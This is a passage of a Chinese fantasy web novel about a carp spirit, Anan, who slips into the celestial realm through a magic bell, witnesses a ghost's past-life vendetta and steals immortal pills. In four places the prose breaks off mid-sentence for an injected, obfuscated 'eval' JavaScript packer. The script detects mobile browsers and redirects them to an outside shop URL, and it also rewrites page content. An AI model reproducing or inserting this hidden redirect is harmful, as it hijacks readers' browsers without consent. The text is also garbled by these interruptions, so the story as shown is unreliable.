公主坟的消失,让朱颜悔想要发泄积累多年的怨恨都找不到目标,只能转为寻找替代品进行报复。 这么多年来,她存心引诱有妇之夫或是有了恋人的男子,只要他们经不住诱惑变了心就一律杀无赦,谁让他们都像景略那样薄情寡义呢? 至于那些被负心汉辜负了的女子,如果因此选择含恨自尽,她也只会觉得活该,谁让她们跟她当年一样愚蠢。 如果她们比当年的她更聪明,不想为一个负心薄幸的男人葬送自己的如花生命,想要挥慧剑斩情丝重新开始,她也会亲手送她们上路。 ——既然我没有机会重新开始,那你们也别想有。 数百年的光阴里,朱颜悔记不清自己杀过多少负心汉,可是她对景略的恨意并没有因此消除。 还曾经设想过,如果能找到转世投胎后的景略就好了,她一定要亲手将他千刀万剐以泄心头之恨。 但这是不可能的事,灵魂进入轮回道后,会转世投胎成为一个全新的人,她根本不可能找出景略的今生是何许人也。 . 这个月圆之夜,天界的前生镜却带来了意外发现。朱颜悔以为永远不可能再找到的狗男人,居然就在她身边。 “景略——你这个狼心狗肺的东西,好狠的心肠,好毒的手段,害我下黄泉做了鬼,自己却上碧落成了仙。凭什么?凭什么?你凭什么?” 朱颜悔死死盯着郦子微咆哮起来。 一声比一声大,一声比一声凶狠,那叫声仿佛是冲破胸膛迸出来的,夹杂着瓷器碎裂般的声响,尖利无比。 “我……我不是……我没有……” 郦子微完全不知道这究竟是怎么一回事,本能地摇头否认。 朱颜悔越发怒不可遏,幻出青丝鞭在手,用力全身力气朝着他当头猛抽。 拼尽全力的青丝鞭却落空了,因为郦子微陡然间就从白云峰顶消失了。 虽然是不擅长斗战的文神,但云间仙境是郦子微的主场。在这个仙气氲氤的地方,仙官只要动用法力,就能轻松瞬移回自己的神殿。 “景略,你这个狗男人,有种别跑,给我滚出来受死。” 朱颜悔疯狂地挥着鬼气森森的青丝鞭,在白云峰顶四处乱抽一气,想把突然消失的郦子微逼出来。 簪在她鬓旁的那支金步摇,两串珍珠流苏也随之乱舞一气,一对小金铃晃得叮叮乱响。 虽然只是一缕灵识附着在金铃上,阿难却也被晃得难受,赶紧交代法铃火速离开金步摇。 . 过了白云关后,阿难原本想让法铃脱离朱颜悔兵分两路。 但是有郦子微跟着,万一被他察觉到什么就不妙了,遂决定先跟着上白云峰。 等到他们的注意力都集中在前生镜上的时候,再趁机溜之大吉。 当月光下的前生镜映照出前世画面时,阿难还来不及走,变故却先发生了。 郦子微居然就是前世害死了朱颜悔的负心汉,她手持鬼鞭想要痛打狗男人,他却凭借地利之便跑得无影无踪。 阿难自然很清楚郦子微一瞬间的功夫跑去了哪儿,朱颜悔不可能再把他逼出来。 如果她失去理智地追去云间仙境,那就是上赶着送人头。云间仙境是神仙们的地盘,一个鬼想在这里报仇绝无可能。 ——如果我是你,我就赶紧走,再不走没准就走不掉了! 阿难的想法不能说出口,他只是一缕灵识,只能与附体的小铃灵智互通,不跟和其他人进行沟通。 朱颜悔要怎么做,他既管不了也管不着。 朱颜悔毕竟是在无间鬼域杀出了一方天地的牛鬼,行事虽然疯狂,但脑子还是好使的。 歇斯底里地发了一回疯后,她同样意识到了这个地方不宜久留,须臾间就从白云峰顶消失了。 消失前,朱颜悔目光深深地最后看了前生镜一面。一双灼灼逼人的眼睛里,还在熊熊燃烧着无限的愤怒与憎恨。 郦子微——既然知道了你是景略,我不杀了你就不是贺兰琼瑛。你给我等着,君子报仇十年不晚。 . 云间仙境,白色云雾缭绕着无数琼楼玉宇,是天上宫阙独有的仙界美景。 承载着阿难一缕灵识的法铃,小心翼翼地贴着地面超低空悬浮飞行,隐身于云雾之中。 这个法子很有效,虽然街道上时常有仙官来去,但没有人发现这个不过指头大小的小金铃。 对于云间仙境一如既往的平静,阿难意外之余有所明了。 看来郦子微没把刚才发生的事说出来,否则现在肯定已经有人大张旗鼓地去抓朱颜悔了。 至于郦子微为什么不说,阿难也不难猜出几分。 他刚刚得知自己前世害死了朱颜悔,虽然尚且不能确定此事是否属实,也轻易不愿让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996687|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她因为自己又倒霉吧? 阿难心想:郦子微平时算不上一个心软的神,想不到对朱颜悔却是难得心软了一回呢! 身为文神的郦子微,永远文质彬彬,从来不说狠话,但这并不代表他心肠很软。 他为人处世很是精明,擅长做事也善于做人,这两点都不是一个心肠硬不起来的老好人能做到的。 . 冒险混上云间仙境,阿难的目标是潜入檀豫的普和殿,偷上一颗七转仙灵丹。 七转仙灵丹经过七次炼化,内蕴仙元灵气。 天界神仙把看中的飞禽走兽度化上天后,就会喂它们一颗七转仙灵丹,让它们伐毛洗髓变成仙禽神兽,从此寿命远胜于人间凡界的同类。 阿难现在是鲤鱼精,如果能服食一颗七转仙灵丹,就能从妖鱼变成仙鲤。有了仙气后,他再接近仙剑日月明就不会再被它攻击了。 普和殿的后殿是炼丹房,丹炉正熊熊燃烧着,白白胖胖的老神仙檀豫端坐一旁闭目入定。 一个小仙官负责守着炉火,也有点犯困地直打哈欠。 阿难都不敢相信自己的运气这么好。 小铃沿着墙根溜入殿内,悄无声息地绕到檀豫身后,悬浮在靠墙的一排多宝格前仔细寻找着。 这排多宝格中,大部分放着炼丹的各类药材,小部分是比较普通的灵丹:比如延年益寿丹,七转仙灵丹等。 更加贵重的仙丹,檀豫藏得可严实呢! 在多宝格的第三层,阿难发现了一只装着七转仙灵丹的小葫芦。 “小铃,打开它——不能用暴力方式,你可以这样……” 按照阿难提供的办法,小铃从小铃铛变回法铃形状,却是小小巧巧的一只,铃体刚好卡住葫芦口的塞子,再慢慢旋转着把塞子转了出来。 “干得好,小铃,现在从葫芦里吸一颗灵丹出来——不,两颗吧!” 两颗蕴足仙元灵气的七转仙灵丹,神不知鬼不觉地被小铃吸出葫芦后,再以强力吸附的方式藏入铃体深处。 . 目的达到了,阿难准备撤退了。 这时候,檀绍突然大步流星地走进了后殿。 犯困的小仙官眼睛都快要闭上了,却被脚步声惊醒,赶紧站起来行礼。 “拜见冲元真君。” 檀豫也微微睁开一线眼,“阿绍,你来了。” “普和真君,您听说了吗?刚才白云峰顶有异动。” “哦,什么异动?” “有强烈的鬼气在峰顶爆发,虽然时间很短,但还是被驻守白云关的神将留意到了。不过他们赶到白云峰时,除了残余的鬼气外什么也没发现。” 檀豫都听得大吃一惊。 “什么?有鬼气在云间仙境出现,怎么可能?自从三百年前出了那档子事后,帝君在这方面一直防范得格外严密。” “如果鬼不可能混进来,那就是光明正大进来的。我打听了一下,今天郦子微手持帝君令牌,带了一个女人上云间仙境,听描述像是传说中的魅鬼朱颜悔。” 79.陆衢 檀绍打听到的消息,檀豫这种见多识广的老神仙,自然一听就明白是怎么回事了。 “郦子微既然有帝君的令牌,只能是按照帝君吩咐行事。他带朱颜悔上云间仙境,应该是帝君想私下扶持这个女人登上鬼王宝座,毕竟厉鬼和疫鬼都跟天界不太对付。” “如果帝君打算扶持朱颜悔,她来云间仙境应该是投诚的,为何却在白云峰顶突然爆发鬼气?如果不是想要跟人动手,应该不会出现这种情况吧?” 檀绍一脸想不通的神色,檀豫也认同地点头。 “这一点确实有些蹊跷,是郦子微带她上来的,到底出了什么事,只能去问他了。” “我去过弘文殿了,郦子微不在,被帝君召去了紫衡殿。不过我听那儿的小仙官说,郦子微之前突然瞬移回殿,神色也十分反常,白云峰顶一定出了什么事。” “能出什么事呢?朱颜悔既然来了云间仙境向帝君投诚,为什么又会突然暴起对郦子微动手?这说不通啊!” 檀绍剑眉紧蹙地直点头。 “确实很奇怪,哪怕朱颜悔的投诚是假的,只是想趁此机会混上云间仙境,也没理由在白云峰顶突然对郦子微发难。一个鬼居然选择在神仙的地盘上弑神,简直就像得了失心疯。” “可不是嘛,听起来这个女鬼确实像是疯了!” 因为对朱颜悔其人、以及整件事的来龙去脉丝毫不了解,檀绍和檀豫的讨论只能得出这么一个结论。 “普和真君,朱颜悔上了云间仙境,眼下去向不明。如果她还没有离开,普和殿可得好好把守一下。毕竟您炼的仙丹三界有名,如果她想顺便偷上几颗,我一点也不会觉得惊讶。” 檀豫深以为然,“对对对,我这炉仙丹正炼到紧要关头,可不容有失啊!” 檀豫一声令下,普和殿顿时被守得如铜墙铁壁一般。 阿难傻眼之余苦笑连连:我就说我的运气怎么可能这么好,敢情波折在后头呢! . 普和殿不但被守得严严实实,檀绍还亲自带着一帮小仙官,在殿内各处仔细排查,以防朱颜悔已经混了进来。 “这个魅鬼要是自投罗网,我一定让她有来无回。” 阿难指挥着小铃藏身于正殿的帐幔下,紧挨着檀豫那张镶金嵌玉的宝座。 这个地方属于灯下黑,不会被严格检查,因为人们会习惯性地认为没人敢躲在这么显眼的地方。 普和殿虽然关起门来严防死守,但有客人来还是要开门迎客的。 “启禀真君,太清元君来访。” 檀豫忽然想起来,温且惠这天要来找他取一瓶仙丹,赶紧道:“快请。” 温且惠风姿绰约地走入正殿,头戴璎珞珠冠,身穿青锦衣裳,腰间系一条绿绣带。 带子两端缀着一对精致的镂空花金球,金球下方悬挂着几个小金铃,随着她的莲步轻移叮叮作响。 “普和真君,平时普和殿都不关门的,今日怎么闭门谢客呢?” 温且惠含笑发问后,檀豫苦笑作答:“太清元君有所不知,魅鬼朱颜悔可能混进了云间仙境,为了防止她跑来我这儿偷仙丹,所以要小心防范。” “朱颜悔,不可能吧?她是怎么混进来的?” 自己和檀绍刚才的猜测,檀豫都一五一十地告知了温且惠。 作为云间仙境人气最高人缘也最好的女神仙,她想要知道的事都不愁得不到答案。 “原来如此,那普和殿是该守牢了,毕竟那些宝贵的丹药都是您费了不少心血才炼出来的。” . 二人交谈间,檀绍从后殿绕回了正殿。 这位骄纵傲慢的年轻仙官一向目高于顶,除了对紫衡帝君、太玄真君和普和真君等大仙官的态度比较恭谨外,在其他仙官面前总是一副目中无人的狂态。 唯独一个人是例外,那就是太清元君温且惠。 这位人美心善的三界第一女菩萨,不但美得不可方物,而且还美得很有亲和力。 她和任何人打交道都声音温和,笑容温柔,如春日的丝雨;夏日的凉风;秋日的阳光;冬日的炉火;让人感觉舒服极了。 檀绍虽然是个骄傲的刺头,但对着这位美丽温柔的神女,态度总会不自觉地变得好起来。 “太清元君来了。” “冲元真君,有你这位武神坐镇普和殿,朱颜悔要是胆敢来犯,就是自寻死路。” 温且惠语气笃定的一番话,让檀绍听得心里舒坦之极。 能够得到他人对自己能力的肯定,本就是一件值得愉快的事,更何况肯定他的人还是一位三界著名的神女。 “太清元君过奖了。” 一朵微笑在檀绍的唇角绽放开来,一路蔓延到他的眼角,英气勃勃的面孔上,漾开了一汪孩子似的欢喜。 骄傲得不可一世的冲元真君,骨子里就是一个我行我素、随心所欲的少年。 看不上谁就鼻孔朝天懒得搭理,看得上谁还得到了对方的夸奖,就发自内心的高兴不已。 . 温且惠离开普和殿时,檀豫像平时那样把她送到大门口。 “太清元君,这个八珍玉露丹,太玄真君也吃了一百年了,被鬼火灼伤过的丹府却还是时常会有灼痛感,看来我还得再换个丹方另外炼制一种仙丹试一试。” “我正想拜托普和真君此事呢,又不好意思开口,毕竟这些年太麻烦您了。” “客气什么?太玄真君当年在鬼王江天旷手里受了伤,都是为了护卫天界的缘故。我奉帝君之命为他炼丹疗伤,既是职责所在也是心甘情愿。” 顿了一下后,檀豫又道:“要不是明光那小子居心叵测,引狼入室,太玄真君也就不会受伤。事后你还为他说情,真是太过良善了!” 温且惠解释道:“普和真君,明光当时坚称江天旷不是他带上天界的,我觉得他不像是在说谎,或许此事另有内情也说不定?” “能有什么内情?江天旷就是持他的令牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007035|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了白云关,进了云间仙境,还直接摸进了帝君闭关的宸极洞。要不是有他充当内奸指路,江天旷在云间仙境转悠三天三夜都找不着那儿。幸好帝君警醒躲过了他的暗算,可他逃跑时却误闯玄清殿伤了太玄真君。如果我是你,不但不会替他求情,还会要求帝君严惩重责。” “毕竟只是江天旷的一面之辞,没有真凭实据,万一明光是冤枉的呢,不是没有这种可能是吧?” “我觉得没有这种可能,除了他没人想杀帝君,帝君如果身陨神灭,只对他一个人有好处。云间仙境除了他,没有其他人能在这件事中获利,他也就是仗着没真凭实据顽抗到底罢了。” 温且惠幽幽地一声轻叹。 “明光看上去不像那么坏的人,我也真不愿意把他想得那么坏。前阵子他还利用信香让我下凡去救了钟离将军呢!” “遭贬的仙官哪个不想重返天界?他这么做不过是在邀买人心,好为自己重返仙班铺路罢了。连钟离斐都不愿意念他的好记他的情,你就更不能轻易被打动了。心肠好不是坏事,但心肠太好就容易坏事,知道吗?” “知道了,多谢普和真君指点。” 温且惠含笑对檀豫致谢,一张笑盈盈的姣好面孔,仿佛是夜来香在月光下粲然绽放,有着美丽又芬芳的色与香。 . 回到玄清殿时,温且惠挥退了几个躬身行礼的小仙官,独自一人穿过整座宫殿,走向最后面的庭院。 绿绣带随着她轻盈的脚步微微摇晃,几个小金铃此起彼伏地摇出细微却悦耳的铃声。 之前在阿难的灵识指挥下,小铃已经神不知鬼不觉地混入了绿绣带的铃铛组中。 搭着温且惠这个人形便车,离开了严防死守的普和殿。 白云峰顶发生的变故,郦子微被召去紫衡殿后,显然已经如实禀报给了帝君英昊。 云间仙境的街道上多了很多巡逻的仙将仙兵,正在四处严密搜查。 阿难很清楚现在是走不掉的,不如先跟着温且惠回玄清殿。如果真有个什么万一,她估计是天界唯一一个愿意帮他的人。 四四方方的庭院里,栽有一棵丈许高的碧桃树。 天上碧桃和露种,不是凡花数。一年四季都开花,满树绚丽的花朵枝枝如画。在朦胧月色下是一大片彤云红霞似的绯色,清幽淡雅的花香雾一般四处弥漫。 阿难暗中“咦”了一声:这里什么时候种了一棵碧桃树?以前都没有哇! 太玄真君陆衢就站在碧桃树下,背负双手,仰着头颅,望着头顶一树繁花似锦的碧桃花。 他嘴里低吟道:“满树和娇烂漫红,万枝丹彩灼春融。” 阿难有一种熟悉又陌生的感觉:都以为太玄真君只是一位赳赳武夫,没想到他还有如此文艺的一面。 飞升之前,陆衢既是北鄣国身份尊贵的太子,也是一直率军征战的武将。 骨子里渗透了强悍勇猛的刚硬作派,跟此刻花前月下吟诗的文艺气息格格不入。 80.神仙眷侣 “惠娘,你回来了。” 见到温且惠走进庭院,陆衢笑眼生花地迎向她,眉梢眼角都蕴着绵绵情意。 太玄真君与太清元君是一对神仙眷侣,这一点三界皆知。 陆衢强势的性格与强硬的作风,让他在人前永远是一副不苟言笑的严肃模样。没想到私下与妻子相处时,居然能笑得这般情意无限。 阿难再次心生感叹:真看不出来,太玄真君居然是个暖男——在太清元君面前暖得不要不要的。 “五郎,外面出事了。” “出什么事了?” 温且惠大致说明了一下情况后,陆衢不无讶异地一挑剑眉。 “朱颜悔听起来还真像是疯了呢!不然怎么可能在神仙的地盘上这般撒野?” “朱颜悔能跻身于四大恶煞之一,绝不会是一个没脑子的女人。她突然在白云峰发疯,我猜会不会跟前生镜有关。” 陆衢被提醒了,“是哦,她发疯的地点是白云峰,那儿有前生镜,可她为什么会因为前生镜而发疯呢?” “朱颜悔是一个女鬼,多年来一直在引诱与杀害年轻男子。除了吸食男子精元用来修炼外,会不会还有其他原因?如果她生前遇人不淑并因此含恨而死,那她一定恨透了那个负心汉,很想杀了他报仇。” “如果是这样的话,一切就能说得通了。朱颜悔是郦子微带上来的,两人应该是一起上了白云峰。前生镜在月上天心后起了作用,照出了他们的前世画面。如果她意外发现郦子微就是前世害死了自己的人,那就难免会情绪失控地攻击他。” 陆衢的推测跟温且惠想的一样,她点头道: “我也是这么想的,郦子微的前世一定与朱颜悔纠葛很深。即使他已经轮回转世再世为人,这笔前世旧账她还是要跟他清算不可,否则也不会失去理智地在天界攻击一位仙官。” 陆衢与温且惠夫妇俩,三言两语的交谈中就把事情猜测出了八九分,阿难暗中佩服地想:这两口子还真是夫妻同心的典范啊! “五郎,八珍玉露丹我拿回来了,你吃一颗吧。” 温且惠用白皙纤长的手指,拈着一颗金澄澄的仙丹送到陆衢嘴边。他张口吞进去的时候,嘴唇顺势轻吻了一下她的指尖。 阿难赶紧非礼勿视地转移注意力,谁知下一瞬,两具身体就紧紧抱在了一起。 小铃和那对镂空花金球上的其他铃铛一起被夹在中间,挤得密不透风,响得叮叮当当。 这下就很尴尬了,阿难的灵识能清晰感知到,小铃是如何被灼热柔软的肌体包裹挤压着。 哪怕此时此刻他根本就没有脸,都有一种脸红得不可收拾的感觉。 不行,这种干柴烈火的情况,绝对不适合再继续呆下去了。 . 趁着拥吻在一起的神仙眷侣心醉神迷之际,阿难指挥着小铃努力从两具身体中间挪出来,小心翼翼地往外溜。 好消息是忘情拥吻的陆衢和温且惠都无暇他顾,小铃很顺利地溜掉了。 坏消息是刚溜出玄清殿就遇上了自紫衡殿归来的郦子微,他身边还跟着仙禽勃公子。 郦子微一副心事重重的神色,丝毫没有留意到满地白云中有可疑物体在超低空悬浮飞行。 但是勃公子发现了,本能地伸长脖子去啄。 阿难头皮一麻:小铃,快逃。 勃公子可是仙禽,锥体形的鸡喙既坚硬又尖锐,如果被它啄上一口,他这缕灵识恐怕就要碎了。 小铃以抱头鼠窜的姿势蹿飞老远,惊险万分地逃脱鸡口。勃公子啄了一个空,下意识地张开双翅继续追着啄。 “勃公子,你在追什么?” 郦子微喝住自己的仙禽后,勃公子喔喔叫了几声,告诉主人地面上刚才有个亮晶晶的小东西在四处乱飞。 虽然勃公子说不清楚亮晶晶的小东西具体是什么东西,但是半夜三更鬼鬼祟祟地在云间仙境四处乱飞的东西,用脚趾头想也知道不是什么好东西。 郦子微只要叫上一声,就可以召来巡逻的仙将仙兵,把这一带封起来仔细搜查,但他却沉默不语。 朱颜悔在白云峰顶消失后行踪不明,倘若她果真潜入云间仙境来杀他,甘冒奇险的背后,藏着何等强烈的怨憎也就可想而知。 那个亮晶晶的小东西,如果是她在设法四处寻找他的下落,他并不想嚷嚷开来,让她的行踪暴露。 虽然郦子微想不起自己与朱颜悔具体有过什么前尘往事,但前生镜中映照出的画面,却像是一个曾经做过的梦。 他似乎记得又似乎遗忘,仿佛熟悉又仿佛陌生,一种很难形容的微妙的感觉。 这种感觉促使郦子微一直保持沉默,带着勃公子直接离去。一轮明月高悬天心,为他的身影镀上一层清泠的光华。 侥幸又逃过了一劫的阿难,指挥着小铃更加小心地在云间仙境行动,沿着墙根一寸一寸地慢慢挪,恨不能把自己的存在感降为零。 小铃已经耗费了不少法力,超低空悬浮飞行快要飞不动了。在那之前他们得找个安全的地方,藏起来养精蓄锐才行。 前头不远是华源殿,殿上方的夜空中,有仙剑舞动的剑光四射,看上去可不像什么安全场所。 但是阿难却不假思索地做出决定:小铃,咱们就去那儿。慢慢靠近,安全第一。 . 华源殿,越君朴正在前庭练剑。 一柄仙剑在他手中舞出万千剑影,剑气纵横间,庭前那丛碧绿的芭蕉,不少蕉叶宛如裂锦般碎成千丝万缕。 前廊下,两个侍立的小仙官,凑在一块压低声音交头接耳。 “咱们真君看来又心情不好了。” “是啊,每次芭蕉叶被他劈成丝时,都说明他的心情很差。” “还好这丛芭蕉是仙葩,今夜劈成了丝,明早就能恢复原状,不然早被折腾死了。” “别管那丛芭蕉了,反正死不了,你说咱们真君为啥心情欠佳呢?” “不知道,自从仙剑日月明现世后,他的心情好像就一直不太好。” “要说明光的仙剑也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019401|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是厉害,被咱们真君封印后,才三百年就解封……” “闭嘴吧你,被真君听见了就更生气了!” 小仙官甲慌忙打断了小仙官乙口没遮挡的话,但还是晚了。 庭前的万千剑影陡然间就消失了,手持仙剑的越君朴,一动不动地背对着他们,沉默得如同一尊人像。 一片死一般的寂静,空气仿佛凝结成了玻璃似薄脆的固体,一丝稍微沉重的呼吸声,都有可能将它击得粉碎。 两个小仙官战战兢兢地站在一起,几乎都不敢出气。 “你们退下吧!” 良久后,越君朴的声音缓缓响起,带着一种置身事外的冷静。 被强行压在心底的怒气,就像是岩石里包裹着的火山,没有人看得见。 两个小仙官如蒙大赦地退下后,越君朴继续练剑。一道又一道剑光如电光般在华源殿上方飞舞,直到月上天心时分才停下来。 小铃小心翼翼地溜入华源殿时,越君朴刚离开前庭不久,仙剑爆发过的余波犹自飘空。 阿难的灵识一边感应着四周环境,一边暗中庆幸。 越君朴的习惯还是和以前一样,没事就爱在这儿练剑,又把仙葩芭蕉折腾得不轻。 ——小铃,正好方便你躲在这里养精蓄锐。 庭中那株绿叶被仙剑劈成千丝万缕的芭蕉,要花上一整晚的时间进行自我修复。 小铃的养精蓄锐可以藏在里头同步进行,那样不容易引起他人的注意。 . 海中州,昌城,悦来客栈。 阿难住的那间上房一直没有退房,虽然这两天他没在客栈住,但是房资照付。 临走前还赏了店小二半吊钱,请他帮忙照应一样东西。 “我有急事要去慈城走一趟,也许两三天后才能回来。我房里养着一条鱼,有劳小二哥得空时帮忙撒点鱼食,这些钱作为答谢。” 店小二自然是千肯万肯,只是帮忙喂一下鱼食,这位阔绰的公子出手就是半吊赏钱,乐得他眉开眼笑。 “多谢公子,公子您放心,我一定把您养的鱼照顾得妥妥当当。” “还有,我有位朋友应公子这两天应该会来客栈找我。如果他来了,你就直接安排他在我的屋子里住下。” “应公子是吧?好的,他要是来了我一定照办。” 得人钱财替人办事的店小二,次日就很上心地跑去房间里喂鱼。 桌面上搁着一只青釉虎头耳的圆形鱼盆,满盛着一盆清水,一条赤尾金鳞的鲤鱼在水中缓缓游动。 阿难所谓的“养了一条鱼”,其实是他自己的原形本体。 作为一个法力不高的小妖,他的一缕灵识附上法铃后,就无法再继续维持人形,只能变回原形的鱼身,自保的能力也直线下降。 原形本体很重要,不能受到任何伤害。 所以他把“自己”养在鱼盆里,再打赏店小二一笔赏钱,让他代为照应。 这是最安全的法子,等到应长恨来了,就更加安全了。 81.宠物 应长恨是次日下午到达悦来客栈的。店小二问明他就是应公子,笑容可掬地把他请进了二楼那间上房。 “和公子眼下不在昌城,不过他临走前交代过,应公子来了就直接请去他的房间住下。” 听说阿难人不在只留下一条鱼的时候,应长恨就感觉事情有些不对劲。等到进屋一看那条鱼,越发觉得不对劲了。 “你怎么又变回原形了?出什么事了?” 鱼盆里的鲤鱼只会冲应长恨吐水泡,没法回答他的问题。 虽然只是分出一缕灵识跟着法铃上了云间仙境,可是阿难眼下这点法力做不到一心二用,原形本体现在就是一条纯粹的鱼。 只有这样,他才能保证自己的那缕灵识五感皆有,不会错过任何细节。这趟冒险之旅的容错率极低,他必须尽量避免犯错。 虽然鲤鱼不能说话,但是那只青釉虎头耳的鱼盆却被阿难施过法术。 听到应长恨的声音响起,盆体就像声控灯似的幽幽亮起一行光字——“稍安勿躁,等我回来”。 如果没有这八个字,应长恨肯定要抱着鱼盆开始各种折腾,想方设法让鲤鱼恢复人形为止。 但是情况却跟他判断的不一样,原本他还以为阿难又受了伤被打回原形了,可他留下的话并不是这么一回事,更像是以离魂术脱壳而出神游他方去了。 离魂术与神游都是高阶术法。 阿难一介小妖,偏偏总能跟这些大招扯上关系,真不知道他是怎么做到的,应长恨都已经见惯不怪了。 . 既然阿难交代了让应长恨等着,他也就只能耐着性子等待。 他守着鱼盆等了两天两夜,等得焦首又煎心,眼看耐性就快要消耗一空时,盆中的鲤鱼突然一个标准的鲤鱼打挺弹出水面,幻成人形落于地面。 “你总算回来了!” 应长恨由衷地松了一口气,阿难笑眯眯地道:“等急了是吧?” “你一声不吭跑哪儿去了?” “云间仙境。” 阿难的回答让应长恨吃了一惊,“什么?你是怎么上去的?” “跟着朱颜悔混上去的。” “朱颜悔也去了云间仙境?她又是怎么办到的?” “她是被郦子微光明正大领上天界的。” 这话听起来很不可思议,仙鬼殊途,一位仙官为什么要领一个魅鬼上天界? 不过应长恨这样的聪明人,很快就想明白个中缘故。 “看来云间仙境那边不太中意我或厉无情成为新鬼王,朱颜悔才是他们理想的人选。” “的确如此,原本紫衡帝君觉得你和厉无情都对天界的态度很不友善,相比之下朱颜悔就没有这个问题。不过现在情况发生了变化,朱颜悔对天界那边也不会再有友善态度了。” “哦,发生什么事了?” “这个说来话长,先让人送一桌酒菜上来,咱们边吃边聊吧。” . 白银杯中,绿酒荡漾;青瓷盘里,玉脍飘香。阿难一边吃着菜喝着酒,一边把在云间仙境发生的一切细细道来。 当然不该说的一个字也能不会透露。譬如玄清殿的碧桃树下,那对神仙眷侣亲密无间的拥吻。 应长恨听得惊叹连连。 没想到阿难可以将一缕灵识附上小铃,再通过小铃的铃体变化跟着朱颜悔混上云间仙境; 没想到朱颜悔在白云峰照前生镜时,竟意外照出郦子微就是前世负心薄幸害死她的狗男人; 没想到阿难不但能有惊无险地自云间仙境归来,甚至还偷回了两粒七转仙灵丹。 “你是怎么知道这个七转仙灵丹的?我们虽然都听说檀豫擅长炼丹,但是具体炼什么丹就不清楚了。而且你既能潜入普和殿偷走灵丹,又能在云间仙境躲过巡查,这可不是光靠运气就能做到的。你以前在那儿呆过,那儿对你来说并不是一个陌生的地方,对吧?” “对,阿难弟弟,我就不瞒你了,其实我以前是紫衡帝君养在天池的一条仙鲤,没事就爱溜去白云海撒欢儿。某天一不留神闯了祸,把帝君的云海神舟撞了一个大洞,吓得自己跳下云端跑路了。” 明光早就编好了一套说辞,应长恨听得将信将疑。 “真的假的?你以前居然是仙鲤,还真是看不出来呢,仙风道骨半点都无,坑蒙拐骗样样都精。” 面对应长恨半真半假的调侃,明光表演了一个不走心的惭愧表情。 “这不都堕入凡界沦为妖鱼了嘛!就别再对我要求太高了。” “那小铃是怎么一回事?” “小铃是帝君闲置已久的法铃,我平时就喜欢和它玩,自堕凡界时身上正好挂着它,所以就一起沦落了。不过我虽然沦为妖类,小铃却还是仙家法器,这也是我可以借助它混入天界的原因所在。” 因为法铃本身是仙家法器,所以在云间仙境飘浮时能与环境高度融合。如果是散发着妖邪气息的东西,早就彻底暴露了。 “对了,你家小铃呢?它该不会折在天界了吧?” 应长恨忽然意识到明光右手腕处只有一根红绳,没有缀着那只虎头铃铛。 “怎么可能,小铃没事,这会儿还在半空中飞着呢!我是灵识归位,一下子就回来了,它还得飞上好半天。” “那就好。以前我一直很奇怪,为什么一只法铃会护着一个妖怪,敢情你们是一起落难的关系。现在我也终于明白,为什么你一介小妖却懂那么多道家术法,都是以前跟着云间仙境的仙官们耳濡目染学的吧?” 阿难煞有介事地点头道:“是啊,那时候帝君都夸过我是一条很不平凡的鱼。” “现在你有了这个七转仙灵丹,是不是又能变回仙鲤了?” “没错,这枚灵丹蕴含仙元灵气,吃了它我就能洗经伐髓成仙鲤了。云间仙境的神仙们,就是用这一招把普通动物变成仙宠的。” 应长恨有个问题一直很不解。 “这些被神仙饲养的仙宠动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026982|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,理论上应该要比妖族更快修成人形吧?为何却一直是兽类外形?” “因为神仙们是在养宠物啊!他们就喜欢宠物本来的样子,并不需要它们修炼出人形,甚至不需要它们会说人话。这枚灵丹只是为它们伐毛洗髓,从普通动物变成仙禽神兽,寿命从此长达千年之久,各方面的能力也会被强化。像勃公子阳精之体的打鸣声,一般的妖魔鬼怪都抗不住。” “那你吃了这枚灵丹变回仙鲤后,还能有人形吗?” “当然,我都已经成精变人了,这方面不受影响。这枚七转仙灵丹在我身上会起到其他作用,让我的妖元变成仙元,以后想飞升成仙也就容易多了。所以你说我这个险冒得值不值啊?” “值,太值了!你的梦想看来是有机会实现了。对了,你偷了两枚七转仙灵丹,另一枚是不是要送给任天真?” 